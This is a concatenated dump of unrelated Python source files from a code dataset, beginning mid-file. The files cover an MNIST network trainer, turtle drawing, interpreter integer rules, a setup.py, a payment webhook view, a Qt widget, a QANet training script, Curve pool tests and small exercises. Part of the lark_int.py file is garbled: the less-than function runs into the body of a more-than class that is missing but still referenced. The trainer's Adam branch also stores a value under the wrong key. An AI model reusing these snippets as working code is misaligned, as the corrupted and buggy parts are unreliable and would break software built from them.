momentumParams[\"vtw\" + str(l)] = dw_update;\n momentumParams[\"vtb\" + str(l)] = db_update;\n elif descent_optimization_type == 3:\n dw_update, db_update, mW, mb, vW, vb = AU.adamUpdateParams(momentumParams[\"vtw\" + str(l)],\n momentumParams[\"vtb\" + str(l)],\n momentumParams[\"mtw\" + str(l)],\n momentumParams[\"mtb\" + str(l)],\n dw_update, db_update, t);\n momentumParams[\"mtw\" + str(l)] = mW;\n momentumParams[\"mtw\" + str(l)] = mb;\n momentumParams[\"vtw\" + str(l)] = vW;\n momentumParams[\"vtb\" + str(l)] = vb;\n elif descent_optimization_type == 4:\n dw_update, db_update, vW, vb = RPU.rmsPropUpdateParams(momentumParams[\"vtw\" + str(l)],\n momentumParams[\"vtb\" + str(l)],\n dw_update, db_update);\n momentumParams[\"vtw\" + str(l)] = vW;\n momentumParams[\"vtb\" + str(l)] = vb;\n parameters[\"W\" + str(l)] = parameters[\"W\" + str(l)] - alpha * dw_update;\n parameters[\"b\" + str(l)] = parameters[\"b\" + str(l)] - alpha * db_update;\n return parameters, alpha;\n\n\ndef multi_layer_network(X, Y, validation_data, validation_label, net_dims, num_iterations=500, learning_rate=0.2,\n decay_rate=0.01, batch_size=50, descent_optimization_type=0):\n print(\"num iter : \" + str(num_iterations) + \" batch size: \" + str(batch_size));\n\n '''\n Creates the multilayer network and trains the network\n\n Inputs:\n X - numpy.ndarray (n,m) of training data\n Y - numpy.ndarray (1,m) of training data labels\n net_dims - tuple of layer dimensions\n num_iterations - num of epochs to train\n learning_rate - step size for gradient descent\n\n Returns:\n costs - list of costs over training\n parameters - dictionary of trained network parameters\n '''\n parameters, momentumparams = initialize_multilayer_weights(net_dims);\n A0 = X;\n costs = [];\n for ii in range(num_iterations):\n print(\"epoch \" + str(ii));\n # Forward Prop\n # This consists for starting from Ao i.e X\n # and evalute till AL\n # keep hold of cache to be used later in backpropagation step\n X, Y = UF.unison_shuffled_copies(X.T, Y.T);\n for i in range(0, len(A0.T), batch_size):\n # print(\"batch \" + str(i));\n if i + batch_size >= len(X.T):\n batch_data = X.T[i:].T\n batch_label = Y.T[i:].T\n else:\n batch_data = X.T[i:i + batch_size].T\n batch_label = Y.T[i:i + batch_size].T\n if descent_optimization_type == 2:\n updateWAndB(parameters, momentumparams);\n cost = classify(batch_data, parameters, batch_label)[1];\n AL, caches = multi_layer_forward(batch_data, parameters);\n AS, cache, loss = AFD.softmax_cross_entropy_loss(AL, batch_label);\n dZ = AFD.softmax_cross_entropy_loss_der(batch_label, cache);\n # find\n # Backward Prop\n # call to softmax cross entropy loss der\n # call to multi_layer_backward to get gradients\n # call to update the parameters\n gradients = multi_layer_backward(dZ, caches, parameters);\n parameters, alpha = update_parameters(parameters, gradients, ii, learning_rate, decay_rate,\n momentumParams=momentumparams,\n descent_optimization_type=descent_optimization_type,\n t=(i + 1) * (ii + 1));\n costs.append(cost);\n print(\"Cost for training at iteration %i is: %.05f, learning rate: %.05f\" % (ii, cost, alpha));\n return costs, \"\", parameters\n\n\ndef main():\n '''\n Trains a multilayer network for MNIST digit classification (all 10 digits)\n To create a network with 1 hidden layer of dimensions 800\n Run the progam as:\n python deepMultiClassNetwork_starter.py \"[784,800]\"\n The network will have the dimensions [784,800,10]\n 784 is the input size of digit images (28pix x 28pix = 784)\n 10 is the number of digits\n\n To create a network with 2 hidden layers of dimensions 800 and 500\n Run the progam as:\n python deepMultiClassNetwork_starter.py \"[784,800,500]\"\n The network will have the dimensions [784,800,500,10]\n 784 is the input size of digit images (28pix x 28pix = 784)\n 10 is the number of digits\n '''\n net_dims = ast.literal_eval(sys.argv[1]);\n net_dims.append(10) # Adding the digits layer with dimensionality = 10\n print(\"Network dimensions are:\" + str(net_dims));\n\n digit_range = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9];\n # dummy training data, but next set of data to be used as test data\n validation_data, validation_label, test_data, test_label = \\\n LMP.mnist(noTrSamples=2560, noTsSamples=2560, \\\n digit_range=digit_range, \\\n noTrPerClass=256, noTsPerClass=256);\n\n # real training data, but next set of data to be used as validation data\n train_data_act, train_label_act, validation_data_new, validation_label_new = \\\n LMP.mnist(noTrSamples=10240, noTsSamples=1000, \\\n digit_range=digit_range, \\\n noTrPerClass=1024, noTsPerClass=100);\n\n # initialize learning rate and num_iterations\n learning_rate = 0.1;\n num_iterations = 100;\n\n train_data_act, train_label_act = UF.unison_shuffled_copies(train_data_act.T, train_label_act.T);\n\n inp = int(input(\"Enter 1 for comparing Batch Sizes or 2 for Comparing different Gradient Descent Optimization techniques and 3 for comparing differernt learning rates:\"));\n costsList = {};\n parametersList = {};\n batch_Size = 10240;\n is_batch_comparision = True;\n if inp == 1:\n is_batch_comparision = True;\n gdo_opt = int(input(\"Enter the GDO type : \"));\n learning_rate = float(input(\"Learning rate, you want to check for: \"));\n batch_Sizes = [100,500,5000];\n #batch_Sizes = [500, 100, 5000];\n\n for x in batch_Sizes:\n tic = time.time();\n costs, _, parameters = multi_layer_network(train_data_act, train_label_act, validation_data,\n validation_label,\n net_dims, \\\n num_iterations=num_iterations, learning_rate=learning_rate,\n batch_size=x, descent_optimization_type=gdo_opt);\n toc = time.time();\n print(\"For batch size : \" + str(x) + \"time taken was :\" + str(toc - tic));\n costsList[x] = costs;\n parametersList[x] = parameters;\n UF.getTrainAndValidationAccuracy(train_data_act, train_label_act, validation_data, validation_label, test_data, test_label,\n parameters);\n UF.plotWithCosts(num_iterations, costsList, is_batch_comparision, net_dims, batch_size=batch_Size, OT=gdo_opt, learning_rate=learning_rate);\n if inp == 2:\n is_batch_comparision = False;\n batch_Size = int(input(\"Enter the Batch Size you want to test for : \"));\n learning_rate = float(input(\"Learning rate, you want to check for : \"));\n\n for key in UF.desent_optimzation_map:\n tic = time.time();\n costs, _, parameters = multi_layer_network(train_data_act, train_label_act, validation_data,\n validation_label,\n net_dims, \\\n num_iterations=num_iterations, learning_rate=learning_rate,\n descent_optimization_type=key, batch_size=batch_Size);\n toc = time.time();\n print(\"For GDO : \" + UF.desent_optimzation_map[key] + \"time taken was :\" + str(toc - tic));\n costsList[key] = costs;\n parametersList[key] = parameters;\n UF.getTrainAndValidationAccuracy(train_data_act, train_label_act, validation_data, validation_label,test_data,test_label,\n parameters);\n UF.plotWithCosts(num_iterations, costsList, is_batch_comparision, net_dims, batch_size=batch_Size, learning_rate=learning_rate);\n if inp == 3:\n is_batch_comparision = False;\n is_learning_comparision = True;\n batch_Size = int(input(\"Enter the Batch Size you want to test for : \"));\n gdo_opt = int(input(\"Enter the GDO type : \"));\n learning_rates = [0.0001,0.001,0.01,0.1,0.5,1,5]\n #learning_rates = [0.0001, 0.001];\n for learning_rate in learning_rates:\n tic = time.time();\n costs, _, parameters = multi_layer_network(train_data_act, train_label_act, validation_data,\n validation_label,\n net_dims, \\\n num_iterations=num_iterations, learning_rate=learning_rate,\n descent_optimization_type=gdo_opt, batch_size=batch_Size);\n toc = time.time();\n print(\"For GDO : \" + UF.desent_optimzation_map[gdo_opt] + \"time taken was :\" + str(toc - tic));\n costsList[learning_rate] = costs;\n parametersList[learning_rate] = parameters;\n UF.getTrainAndValidationAccuracy(train_data_act, train_label_act, validation_data, validation_label,\n test_data, test_label,\n parameters);\n UF.plotWithCosts(num_iterations, costsList, is_batch_comparision, net_dims, batch_size=batch_Size,is_learning_comparision=True, OT=gdo_opt);\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"src/DeepNeuralNetworkStarter.py","file_name":"DeepNeuralNetworkStarter.py","file_ext":"py","file_size_in_byte":20961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"239117836","text":"import turtle\r\n\r\ndef Thanks():\r\n print(\"Thank You for using this program! :^D\")\r\n\r\n\r\ndef DrawTriangle():\r\n for count in range(3):\r\n pen.forward(Length)\r\n pen.left(120)\r\n Thanks()\r\n\r\ndef DrawPentagon():\r\n for count in range(5):\r\n pen.forward(Length)\r\n pen.left(72)\r\n Thanks()\r\n\r\ndef DrawOctagon():\r\n for count in range(8):\r\n pen.forward(Length)\r\n pen.left(45)\r\n Thanks()\r\n\r\ndef DrawPentagram():\r\n pen.right(36)\r\n for count in range(5):\r\n pen.left(144)\r\n pen.forward(Length)\r\n Thanks()\r\n\r\ndef Welcome():\r\n Choice=int(input(\"\"\" Choose\r\n Enter '1' For a Triangle\r\n Enter '2' for a Pentagon\r\n Enter '3' for an Octagon\r\n Enter '4' for a Pentagram\"\"\"))\r\n return(Choice)\r\n\r\nwindow=turtle.Screen()\r\npen=turtle.Turtle()\r\npen.hideturtle()\r\n\r\npen.pensize(3)\r\npen.color(\"red\")\r\n#\r\n\r\n\r\nPick=Welcome()\r\nLength=int(input(\"Enter the desired length of the sides\\n(Preferably Between 10-400)\"))\r\n\r\nif Pick == 1:\r\n DrawTriangle()\r\nelif Pick == 2:\r\n DrawPentagon()\r\nelif Pick == 3:\r\n DrawOctagon()\r\nelif Pick == 4:\r\n DrawPentagram()\r\nelse:\r\n print(\"The value you have entered in invalid. Program is terminating.\")\r\n\r\n\r\nwindow.mainloop()","sub_path":"2016/Question 10 Ver 1.py","file_name":"Question 10 Ver 1.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"552263466","text":"from lark_utils import Fail\nfrom terms import builtin_func, pattern_wild, expr, wild, seq, lit\nfrom lexer import to_rules, lex\n# from lark_str import to_lark_str\nimport string\nclass lark_int(int, expr):\n normal = True\n def match(self, x):\n if isinstance(x, lark_int) and self == x:\n return {}\n else:\n return Fail\n\n def __repr__(self):\n # super?\n return str(int(self))\n def parse(self, x, exprs):\n return self.match(x)\n\n\nclass int_wild(wild): # just matches ints (subs for any...)\n lazy = False\n\n def match(self, x):\n if isinstance(x, lark_int) or isinstance(x, int_wild): # should include int_wild\n ret = {}\n ret[self.name] = x\n return ret\n else:\n return Fail\n def __repr__(self):\n return \"int:\"+self.name\n def parse(self, x, exprs): #NEEDED?\n attempt = self.match(x)\n if attempt == Fail:\n return Fail\n\n return attempt[self.name]\n\ndef int_pattern_func(x, exprs = None):\n # this needs to bundle things methinks\n if (isinstance(x, seq) and all(isinstance(i, lit) for i in x)):\n # so... its getting passed a sequence...\n if isinstance(x,lit):\n str_val = x.val\n else:\n str_val = \"\".join(str(i.val) for i in x)\n\n if len(str_val) == 0:\n return Fail\n elif (len(str_val) == 1 or all(i in string.digits for i in str_val[1:])) and \\\n (str_val[0] in string.digits+\"-\") and str_val!=\"-\":\n return lark_int(str_val)\n return Fail\n\n # if isinstance(x, seq) and all(isinstance(i, lit) for i in x):\n # x = \"\".join(x)\n\n\nclass int_pattern(pattern_wild):\n def __init__(self, name):\n self.pattern = int_pattern_func\n self.name = name\n def __repr__(self):\n return \"int_pattern:\" + str(self.name)\n memed = {}\n def parse(self, x, exprs):\n memed = self.memed\n if x in memed:\n return memed[x]\n memed[x] = self.pattern(x, exprs )\n return memed[x]\n\n\n\nclass addition_func(builtin_func):\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.func = lambda matched_dict, exprs: lark_int(matched_dict[self.x]+matched_dict[self.y])\n def __repr__(self):\n return self.x.__repr__()+\"+\"+self.y.__repr__()\n\nclass subtraction_func(builtin_func):\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.func = lambda matched_dict, exprs: lark_int(matched_dict[self.x]-matched_dict[self.y])\n def __repr__(self):\n return self.x.__repr__()+\"-\"+self.y.__repr__()\nlark_true = lex(\"True\")\nlark_false = lex(\"False\")\nclass less_than_func(builtin_func):\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.func = lambda matched_dict, exprs: (matched_dict[self.x]matched_dict[self.y] and lark_true ) or lark_false\n def __repr__(self):\n return self.x.__repr__()+\">\"+self.y.__repr__()\n\nclass equal_func(builtin_func):\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.func = lambda matched_dict, exprs: (matched_dict[self.x]==matched_dict[self.y] and lark_true ) or lark_false\n def __repr__(self):\n return self.x.__repr__()+\" is \"+self.y.__repr__()\n\nclass mod_func(builtin_func):\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.func = lambda matched_dict, exprs: lark_int(matched_dict[self.x]%matched_dict[self.y])\n def __repr__(self):\n return self.x.__repr__()+\"%\"+self.y.__repr__()\nclass multiplication_func(builtin_func):\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.func = lambda matched_dict, exprs: lark_int(matched_dict[self.x]*matched_dict[self.y])\n def __repr__(self):\n return self.x.__repr__()+\"*\"+self.y.__repr__()\nclass division_func(builtin_func):\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.func = lambda matched_dict, exprs: lark_int(matched_dict[self.x]//matched_dict[self.y])\n def __repr__(self):\n return self.x.__repr__()+\"/\"+self.y.__repr__()\n\nint_cast_rule = (int_pattern(\"x\"), int_pattern(\"x\")) # so...\n# int_wild_rule = (seq([int_wild(\"x\")]), seq([int_wild(\"x\")]))\n# int_cast_rule2 = (int_pattern(\"x\"), int_pattern(\"x\"))\nint_addition_rule = (seq([int_wild(\"x\"), lit(\"+\"), int_wild(\"y\")]), addition_func(\"x\", \"y\"))\nint_subtraction_rule = (seq([int_wild(\"x\"), lit(\"-\"), int_wild(\"y\")]), subtraction_func(\"x\", \"y\"))\nint_less_than_rule = (seq([int_wild(\"x\"), lit(\"<\"), int_wild(\"y\")]), less_than_func(\"x\", \"y\"))\nint_more_than_rule = (seq([int_wild(\"x\"), lit(\">\"), int_wild(\"y\")]), more_than_func(\"x\", \"y\"))\nint_equals_rule = (seq([int_wild(\"x\"), lit(\"is\"), int_wild(\"y\")]), equal_func(\"x\", \"y\"))\nint_mod_rule = (seq([int_wild(\"x\"), lit(\"%\"), int_wild(\"y\")]), mod_func(\"x\", \"y\"))\nint_multiplication_rule = (seq([int_wild(\"x\"), lit(\"*\"), int_wild(\"y\")]), multiplication_func(\"x\", \"y\"))\nint_division_rule = (seq([int_wild(\"x\"), lit(\"/\"), int_wild(\"y\")]), division_func(\"x\", \"y\"))\nbase_int_rules = [int_cast_rule, int_equals_rule, int_addition_rule, int_subtraction_rule,\n int_less_than_rule, int_more_than_rule, int_mod_rule, int_multiplication_rule, int_division_rule]\n\ngen_int_rules = to_rules(\"\"\"\n$x is $y = $x is $y\n$x + $y = $x + $y\n$x < $y = $x < $y\n$x > $y = $x > $y\n$x - $y = $x - $y\n$x % $y = $x % $y\n$x * $y = $x * $y\n$x / $y = $x / $y\n\"\"\")\nint_rules = base_int_rules + gen_int_rules\n","sub_path":"lark_int.py","file_name":"lark_int.py","file_ext":"py","file_size_in_byte":5818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"78477967","text":"import setuptools\n\nwith open(\"README.md\", \"r\", encoding=\"utf-8\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"ethmeet\",\n version=\"1.7.1\",\n author=\"Lo Han\",\n author_email=\"lohan.uchsa@protonmail.com\",\n description=\"Video-chat API. Compatible with most famous platforms.\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/elleaech/ethmeet\",\n packages=setuptools.find_packages(),\n keywords=\"bot firefox automation browser selenium meeting zoom google\",\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: Apache Software License\",\n \"Operating System :: POSIX :: Linux\",\n ],\n python_requires=\">=3.8\",\n scripts=[\n \"scripts/gecko_install.py\",\n ],\n install_requires=[\n \"bleach==3.3.0\",\n \"build==0.2.1\",\n \"certifi==2020.12.5\",\n \"cffi==1.14.5\",\n \"chardet==4.0.0\",\n \"colorama==0.4.4\",\n \"cryptography==3.4.4\",\n \"docutils==0.16\",\n \"idna==2.10\",\n \"jeepney==0.6.0\",\n \"keyring==22.0.1\",\n \"packaging==20.9\",\n \"pep517==0.9.1\",\n \"pkginfo==1.7.0\",\n \"pycparser==2.20\",\n \"Pygments==2.7.4\",\n \"pyparsing==2.4.7\",\n \"readme-renderer==28.0\",\n \"requests==2.25.1\",\n \"requests-toolbelt==0.9.1\",\n \"rfc3986==1.4.0\",\n \"SecretStorage==3.3.1\",\n \"selenium==3.141.0\",\n \"six==1.15.0\",\n \"toml==0.10.2\",\n \"tqdm==4.56.2\",\n \"twine==3.3.0\",\n \"urllib3==1.26.3\",\n \"webencodings==0.5.1\",\n ],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"273383660","text":"import json\nfrom accounting import transactions\nfrom billing_app.models import MobileMoneyNumber # noqa\nfrom django.conf import settings\nfrom django.core.exceptions import MultipleObjectsReturned\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.core.exceptions import PermissionDenied\nfrom django.http import HttpResponse\nfrom django.views.decorators.csrf import csrf_exempt # noqa\nfrom django.views.generic.edit import FormView # noqa\nfrom kopokopo import forms\n\n\nclass KopoKopoView(FormView):\n form_class = forms.KopoKopoForm\n template_name = \"api.html\"\n http_method_names = ['post']\n\n def post(self, request, *args, **kwargs):\n response = {'status': \"01\",\n 'description': \"Accepted\"}\n http_response = HttpResponse(\n json.dumps(response),\n content_type='application/json')\n\n form = self.get_form(self.form_class)\n\n # validate notification data\n if not form.is_valid():\n response['status'] = \"03\"\n response['description'] = (\n \"Invalid payment data {}\".format(json.dumps(form.errors)))\n http_response.content = json.dumps(response)\n return http_response\n\n data = form.save(commit=False)\n\n if not (settings.KOPOKOPO_USERNAME == form.cleaned_data['username']\n and settings.KOPOKOPO_PASSWORD ==\n form.cleaned_data['password']):\n raise PermissionDenied()\n\n user_transactions = transactions.UserTransactions()\n\n try:\n tenant_number = MobileMoneyNumber.objects.get(\n number=data.sender_phone)\n usd_amount = data.amount / settings.K2_KES_USD_RATE\n user_transactions.receive_user_payment(\n tenant_number.tenant_id,\n \"KOPOKOPO\", usd_amount,\n (\"Received mobile money payment.\"\n \" Transaction ref {}\".format(data.transaction_reference)))\n data.claimed = True\n except (ObjectDoesNotExist, MultipleObjectsReturned):\n data.claimed = False\n\n data.save()\n return http_response\n\n @csrf_exempt\n def dispatch(self, *args, **kwargs):\n return super(KopoKopoView, self).dispatch(*args, **kwargs)\n","sub_path":"kopokopo/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"345281103","text":"n=int(input())\ns=input()\nv,h=0,0\nfor i in range(n):\n if(s[i]=='V'):\n v+=1\n else:\n h+=1\nif(v>h):\n print(\"Virat\")\nelif(vName', self), 0, 0, Qt.AlignRight)\n self.Grid.addWidget(QLabel('Shopping', self), 1, 0, Qt.AlignRight)\n\n self.Grid.addWidget(QLabel('Contribution', self), 0, 2, Qt.AlignRight)\n self.Grid.addWidget(QLabel('Chores', self), 1, 2, Qt.AlignRight)\n\n self.Grid.addWidget(QLabel('Subtotal', self), 1, 4, Qt.AlignHCenter)\n\n #'%Y-%m-%d %H:%M:%S.%f')\n\n self.Inputs = {\n 'name' : [\n QLabel('', self), (0, 1, Qt.AlignLeft)\n ],\n\n 'personal_shopping_costs' : [\n QLabel('0.00€', self), (1, 1, Qt.AlignLeft)\n ],\n\n 'contribution' : [\n QLabel('0.00€', self), (0, 3, Qt.AlignLeft)\n ],\n\n 'chores' : [\n QLabel('0.00€', self), (1, 3, Qt.AlignLeft)\n ],\n\n 'subtotal' : [\n QLabel('0.00€', self), (0, 4, Qt.AlignHCenter),\n lambda q: (\n q.setFont(QFont('Arial', 24, 0)),\n )\n ]\n }\n\n for key in self.Inputs:\n if len(self.Inputs[key]) > 2:\n self.Inputs[key][2](self.Inputs[key][0])\n self.Grid.addWidget(self.Inputs[key][0], *self.Inputs[key][1])\n\n self.Update()\n\n def Update(self):\n if self.buuid is None: return\n\n self.BillData = self.DataHandlerObject.BillingData[self.tkey][self.buuid]['bill_data']\n\n self.Inputs['name'][0].setText(self.DataHandlerObject.GetItemKey('participants', self.DataHandlerObject.BillingData[self.tkey][self.buuid]['puuid'], 'name'))\n\n for key in self.BillData:\n if key in self.Inputs:\n self.Inputs[key][0].setText(u'%.2f€' % self.BillData[key])\n\n def SetUUID(self, new_buuid):\n self.buuid = new_buuid\n self.Update()\n\n\"\"\"\n Personal bills widget\n\"\"\"\n\nclass PersonalBillsWidget(QWidget):\n def __init__(self, dho, parent):\n super().__init__(parent)\n self.DataHandlerObject = dho\n self.Grid = QVBoxLayout(self)\n self.Grid.setAlignment(Qt.AlignHCenter)\n\n self.Grid.setSizeConstraint(QLayout.SetMinAndMaxSize)\n\n self.tkey = 'bills'\n\n self.TransactionItems = []\n\n def LoadTransactions(self, gbuuid):\n for widget in self.TransactionItems:\n widget.hide()\n\n relevant_buuids = self.DataHandlerObject.BillingData['group_bills'][gbuuid]['buuids']\n\n for i, buuid in enumerate(relevant_buuids):\n if i < len(self.TransactionItems):\n self.TransactionItems[i].SetUUID(buuid)\n self.TransactionItems[i].show()\n else:\n self.NewTransaction(buuid)\n\n def NewTransaction(self, buuid):\n self.TransactionItems.append(PersonalBillsItemWidget(self.DataHandlerObject, buuid, self))\n self.Grid.addWidget(self.TransactionItems[-1], len(self.TransactionItems), Qt.AlignHCenter)\n","sub_path":"gui/ExpensesWidget/PersonalBillsWidget.py","file_name":"PersonalBillsWidget.py","file_ext":"py","file_size_in_byte":3185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"522834006","text":"num1 = 5\nnum2 = 5\nprod1 = num1 * num2\n\nprint (num1, \"multiplied by\", num2, \"is\", prod1)\n\n\nname = \"Jim Johnson\"\naddress = \"78654 Thingy Way\"\ncity = \"San Diego\"\nzipc = \"03129\"\nstate = \"CA\"\nprint (\" \")\nprint (name)\nprint (address)\nprint (city+ \", \"+ state, zipc)\nprint (\" \")\n\nl = 8\nw = 6\nh = 7\nrecArea = 2 * ((w * l) + (h * l) + (h * w))\n\nprint (\"Surface area of your prism is\", recArea)\n\n","sub_path":"Python/PyLesson_02/Lab_02.py","file_name":"Lab_02.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"73787405","text":"import os\n\nimport tensorflow as tf\nimport numpy as np\nimport sys\nfrom models import QANet_fn\nfrom tqdm import tqdm\nfrom time import time\nfrom dataset import QADataset\n\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2' \n\nconfig = tf.ConfigProto() ; config.gpu_options.allow_growth = True\nconfig.gpu_options.per_process_gpu_memory_fraction = 0.8\n\npar_padding = 100\nquery_padding = 60\nword_padding = 16\nbatch_size = 32\nnb_epochs = 70\n\nqadataset_train = QADataset(\"data/bioasq/\", \"samples_train.csv\", \n par_padding=par_padding, \n query_padding=query_padding, \n word_padding=word_padding, \n nb_epochs=1,\n batch_size=batch_size,\n dictionary_like=True\n)\n\nqadataset_dev = QADataset(\"data/bioasq/\", \"samples_dev.csv\", \n par_padding=par_padding, \n query_padding=query_padding, \n word_padding=word_padding, \n nb_epochs=1,\n batch_size=batch_size,\n dictionary_like=True\n)\n\nparams = {\n \"lr\": 0.001,\n \"keep_prob\": 0.9,\n \"clip\": 1.,\n \"keep_layer\": 0.9,\n \"norm_linear\": False,\n \"norm_trainable\": True,\n \"emb_size\": 300,\n \"nb_char\": 128,\n \"embedding\": qadataset_train.embedding,\n}\n\nmodel_dir = \"ckpts/\" + str(int(time()))\n\nprompt_metrics = [\"f1-score\", \"EM\", \"loss\"]\n\nprint(\"Finished preparation\")\n\nmodel = tf.estimator.Estimator(\n model_fn=QANet_fn, \n params=params, \n model_dir=model_dir,\n config=tf.estimator.RunConfig(session_config=config)\n)\n\nfor i in range(nb_epochs):\n model.train(\n input_fn=qadataset_train\n )\n\n results = model.evaluate(\n input_fn=qadataset_dev\n )\n\n result_str = \"\"\n for m in prompt_metrics[:-1]:\n result_str += \"{}: {} \\t\".format(m, results[m])\n \n result_str += \"{}: {}\".format(prompt_metrics[-1], results[prompt_metrics[-1]])\n \n print(result_str)","sub_path":"main_bioasq.py","file_name":"main_bioasq.py","file_ext":"py","file_size_in_byte":1772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"625470725","text":"# 20)Define a class with a generator which can iterate the numbers, which\n# are divisible by 7, between a given range 0 and n.\n# Hints:\n# Consider use yield\n\nclass Generator:\n\n def __init__(self,n):\n self.n=n\n def gen(self):\n for i in range(1,self.n):\n if i %7==0:\n yield i\n\n\nn = int(input(\"Enter the number :\"))\nmunum = Generator(n)\nresult = munum.gen()\nfor num in result:\n print(num)\n\n","sub_path":"asmnt20.py","file_name":"asmnt20.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"272774555","text":"from django.shortcuts import render\nfrom django.views.generic import View\nfrom django.core import serializers\nfrom django.http import HttpResponse, JsonResponse\nfrom .models import TClass\nfrom page.index import get_page\nimport json\n# Create your views here.\n\n\nclass AddClass(View):\n def post(self, request):\n req_data = request.body.decode()\n req_data = json.loads(req_data)\n class_entity = {\n 'class_name': req_data.get('class_name'),\n 'stu_count': req_data.get('stu_count')\n }\n TClass.objects.create(**class_entity)\n return JsonResponse(req_data)\n\n\nclass GetClass(View):\n def get(self, request):\n page_num = request.GET.get('page_num')\n print(page_num)\n try:\n data = get_page(TClass,page_num)\n data = serializers.serialize('json', data)\n return JsonResponse(data, safe=False)\n except Exception as e:\n return HttpResponse(\"page dont't exist\")\n\n\n\nclass DelClass(View):\n def get(self, request):\n data = request.GET.get('class_name');\n print(data)\n try:\n TClass.objects.filter(class_name=data).delete()\n return HttpResponse('success')\n except Exception as e:\n return HttpResponse('failed')\n\n\nclass UpdateClass(View):\n def post(self, request):\n req_data = request.body.decode()\n req_data = json.loads(req_data)\n stu_count = req_data['stu_count']\n class_name = req_data['class_name']\n print(stu_count,class_name)\n try:\n TClass.objects.filter(class_name=class_name).update(stu_count=stu_count)\n return HttpResponse(\"success\")\n except Exception as e:\n return HttpResponse('failed')\n\n","sub_path":"schoolclass/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"419925438","text":"import brownie\nimport pytest\n\npytestmark = pytest.mark.skip_pool(\"hbtc\", \"ren\", \"sbtc\")\n\n\n@pytest.fixture(scope=\"module\", autouse=True)\ndef setup(alice, bob, underlying_coins, wrapped_coins, swap, initial_amounts):\n # mint (10**6 * precision) of each coin in the pool\n for underlying, wrapped, amount in zip(underlying_coins, wrapped_coins, initial_amounts):\n underlying._mint_for_testing(alice, amount, {'from': alice})\n underlying.approve(wrapped, 2**256-1, {'from': alice})\n wrapped.approve(swap, 2**256-1, {'from': alice})\n if hasattr(wrapped, \"mint\"):\n wrapped.mint(amount, {'from': alice})\n\n for coin in underlying_coins:\n coin.approve(swap, 2**256-1, {'from': bob})\n\n swap.add_liquidity(initial_amounts, 0, {'from': alice})\n\n\n@pytest.mark.itercoins(\"sending\", \"receiving\")\ndef test_min_dy_too_high(bob, swap, underlying_coins, underlying_decimals, sending, receiving):\n amount = 10**underlying_decimals[sending]\n\n underlying_coins[sending]._mint_for_testing(bob, amount, {'from': bob})\n\n min_dy = swap.get_dy(sending, receiving, amount)\n with brownie.reverts(\"Exchange resulted in fewer coins than expected\"):\n swap.exchange_underlying(sending, receiving, amount, min_dy+2, {'from': bob})\n\n\n@pytest.mark.itercoins(\"sending\", \"receiving\")\ndef test_insufficient_balance(bob, swap, underlying_coins, underlying_decimals, sending, receiving):\n amount = 10**underlying_decimals[sending]\n\n underlying_coins[sending]._mint_for_testing(bob, amount, {'from': bob})\n with brownie.reverts():\n swap.exchange_underlying(sending, receiving, amount+1, 0, {'from': bob})\n\n\n@pytest.mark.itercoins(\"idx\")\ndef test_same_coin(bob, swap, idx):\n with brownie.reverts():\n swap.exchange_underlying(idx, idx, 0, 0, {'from': bob})\n\n\n@pytest.mark.parametrize(\"idx\", [-1, -2**127])\ndef test_i_below_zero(bob, swap, idx):\n with brownie.reverts():\n swap.exchange_underlying(idx, 0, 0, 0, {'from': bob})\n\n\n@pytest.mark.parametrize(\"idx\", [False, 2**127-1])\ndef test_i_above_n_coins(bob, swap, idx, n_coins):\n if idx is False:\n idx = n_coins\n with brownie.reverts():\n swap.exchange_underlying(idx, 0, 0, 0, {'from': bob})\n\n\n@pytest.mark.parametrize(\"idx\", [-1, -2**127])\ndef test_j_below_zero(bob, swap, idx):\n with brownie.reverts():\n swap.exchange_underlying(0, idx, 0, 0, {'from': bob})\n\n\n@pytest.mark.parametrize(\"idx\", [False, 2**127-1])\ndef test_j_above_n_coins(bob, swap, idx, n_coins):\n if idx is False:\n idx = n_coins\n with brownie.reverts():\n swap.exchange_underlying(0, idx, 0, 0, {'from': bob})\n","sub_path":"tests/common/unitary/test_exchange_underlying_reverts.py","file_name":"test_exchange_underlying_reverts.py","file_ext":"py","file_size_in_byte":2645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"618358217","text":"#/usr/bin/python3\n#-*- coding:UTF-8 -*-\n'''sort()方法可将列表中的对象排序,若列表对象全是数字,则按数字从小到大排序\n若列表对象全是字符串,则按字典顺序排序,若列表包换多种类型,则会出错'''\nx = [123,32,534,756,34,765]\nx.sort()\nprint(x)\nx = 